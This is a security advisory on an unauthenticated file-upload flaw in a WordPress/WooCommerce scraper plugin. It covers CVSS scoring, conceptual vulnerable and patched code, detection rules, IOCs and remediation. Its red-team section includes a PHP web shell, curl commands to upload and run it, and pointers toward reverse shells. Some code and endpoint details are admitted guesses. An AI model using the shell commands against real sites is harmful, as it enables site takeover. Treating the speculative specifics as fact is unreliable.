CVE-2025-69129

Executive Summary

CVE-2025-69129 is a critical unauthenticated arbitrary file upload vulnerability affecting the WordPress & WooCommerce Scraper Plugin, specifically the "Import Data from Any Site" plugin versions <= 1.0.7. This vulnerability allows a remote, unauthenticated attacker to upload arbitrary files (including web shells) to the WordPress server, leading to full remote code execution, data exfiltration, and complete site compromise. The CVSS score of 10.0 reflects the maximum severity due to the lack of authentication, network-based attack vector, and high impact on confidentiality, integrity, and availability. No patch is currently available, and the EPSS score is 0.0% (likely due to recent disclosure). This vulnerability is particularly dangerous for WordPress sites using the WooCommerce ecosystem, as it can be exploited to inject malicious files that persist even after plugin removal.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, site administrators must consider the plugin as a compromised component in their supply chain. The lack of a patch means that any site running this plugin is at immediate risk. The plugin's codebase is not managed via NPM, PyPI, Go, or Ruby, but rather through WordPress's own update mechanism. Administrators should treat this as a critical supply chain risk and remove the plugin entirely until a patched version is released.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read access possible.
• Integrity (I): High (H) – Arbitrary file upload allows overwriting critical files.
• Availability (A): High (H) – Can lead to denial of service or complete site takeover.

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to full server compromise. Given the widespread use of WooCommerce, the potential blast radius is significant.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of the "Import Data from Any Site" plugin. The plugin likely uses a PHP script (e.g., upload.php or similar) that accepts file uploads via HTTP POST requests. The flaw is that the script does not properly validate the file type, extension, or MIME type before moving the uploaded file to a web-accessible directory (e.g., wp-content/uploads/). Additionally, there is no authentication check, meaning any visitor to the site can trigger the upload.

The typical attack flow:

1. Attacker sends a POST request to the vulnerable endpoint (e.g., /wp-content/plugins/woocommerce-scraper/upload.php).
2. The request includes a file payload (e.g., a PHP web shell) with a .php extension.
3. The plugin saves the file to a predictable location, such as wp-content/uploads/2025/01/shell.php.
4. The attacker then accesses the uploaded file via a web browser, executing the PHP code and gaining remote control.

The vulnerability is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). The lack of authentication and file type validation makes it a classic example of a critical file upload flaw.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable plugin likely contains code similar to:

// Vulnerable code (conceptual)
if (isset($_FILES['file'])) {
    $upload_dir = wp_upload_dir();
    $target_file = $upload_dir['path'] . '/' . $_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'], $target_file);
    echo "File uploaded successfully.";
}

A patched version would include:

• Authentication checks (e.g., wp_verify_nonce() or current_user_can()).
• File extension whitelisting (e.g., only allow .csv, .xml).
• MIME type validation.
• Renaming files to prevent directory traversal.
• Storing files outside the web root or using .htaccess to block execution.

Example patched code:

// Patched code (conceptual)
if (!current_user_can('upload_files')) {
    wp_die('Unauthorized');
}
if (!wp_verify_nonce($_POST['_wpnonce'], 'file_upload')) {
    wp_die('Invalid nonce');
}
$allowed_extensions = array('csv', 'xml');
$file_ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($file_ext), $allowed_extensions)) {
    wp_die('Invalid file type');
}
$upload_dir = wp_upload_dir();
$target_file = $upload_dir['path'] . '/' . uniqid() . '.' . $file_ext;
move_uploaded_file($_FILES['file']['tmp_name'], $target_file);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with WooCommerce and the vulnerable plugin (version 1.0.7).
2. Ensure the plugin is active.

Exploitation Steps:

1. Create a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send a POST request to the vulnerable endpoint:

   curl -X POST -F "file=@shell.php" http://target/wp-content/plugins/woocommerce-scraper/upload.php
   

3. Verify the upload by accessing the shell:

   curl http://target/wp-content/uploads/2025/01/shell.php?cmd=id
   

   Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Advanced Exploitation:

• Use a meterpreter payload to get a reverse shell.
• Upload a .htaccess file to enable execution of other file types.
• Chain with other vulnerabilities for privilege escalation.

Blue Team (Defensive)

Detection Steps:

1. Monitor for unexpected file uploads to wp-content/uploads/ with .php, .phtml, .shtml extensions.
2. Check for POST requests to /wp-content/plugins/woocommerce-scraper/upload.php (or similar endpoints).
3. Look for anomalous file sizes or MIME types in upload logs.
4. Use file integrity monitoring (e.g., Tripwire, AIDE) to detect new files in web directories.

Hunting Queries:

• Search web server logs for POST /wp-content/plugins/woocommerce-scraper/ with a 200 response.
• Look for files in wp-content/uploads/ that have executable extensions.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/plugins/woocommerce-scraper/upload.php (vulnerable endpoint)
  • /wp-content/uploads/*.php (uploaded shells)
  • /wp-content/uploads/*.phtml
  • /wp-content/uploads/*.shtml
• Network Indicators:
  • POST requests to /wp-content/plugins/woocommerce-scraper/upload.php
  • Outbound connections from the web server to attacker IPs (reverse shells)
• Log Entries:
  • POST /wp-content/plugins/woocommerce-scraper/upload.php HTTP/1.1 200
  • GET /wp-content/uploads/*.php?cmd= (command execution)
• File Hashes (example shell):
  • MD5: d41d8cd98f00b204e9800998ecf8427e (empty file, adjust for actual payload)
• YARA Rule (see Detection Engineering):

Detection Engineering

YARA Rule

rule CVE_2025_69129_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2025-69129"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69129"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_exec = "shell_exec("
        $exec_func = "exec("
        $passthru = "passthru("
        $backtick = "`"
    condition:
        $php_tag and (
            $system_func or $shell_exec or $exec_func or $passthru or $backtick
        ) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-69129 Unauthenticated File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable upload endpoint
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-content/plugins/woocommerce-scraper/upload.php'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin usage (if any)
level: critical

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-69129 Unauthenticated File Upload Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-content/plugins/woocommerce-scraper/upload.php";
    http_uri;
    content:".php";
    file_extension;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-69129;
)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin: Deactivate and delete the "Import Data from Any Site" plugin from all WordPress installations.
2. Scan for webshells: Search wp-content/uploads/ for any .php, .phtml, .shtml files. Remove any suspicious files.
3. Review logs: Check web server logs for POST requests to the vulnerable endpoint and subsequent GET requests to uploaded files.
4. Change credentials: Rotate all WordPress admin, FTP, and database passwords.
5. Update WordPress core and other plugins: Ensure all components are up to date.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block file uploads to plugin directories.
• Use file integrity monitoring (e.g., OSSEC, Wazuh) to alert on new files in web directories.
• Restrict file execution in upload directories via .htaccess:

  <FilesMatch "\.(php|phtml|php3|php4|php5|phps)$">
      Order Deny,Allow
      Deny from all
  </FilesMatch>
  

• Apply the principle of least privilege to the web server user.
• Regularly audit installed plugins and remove unused ones.

Valters IT – Securing your digital frontier.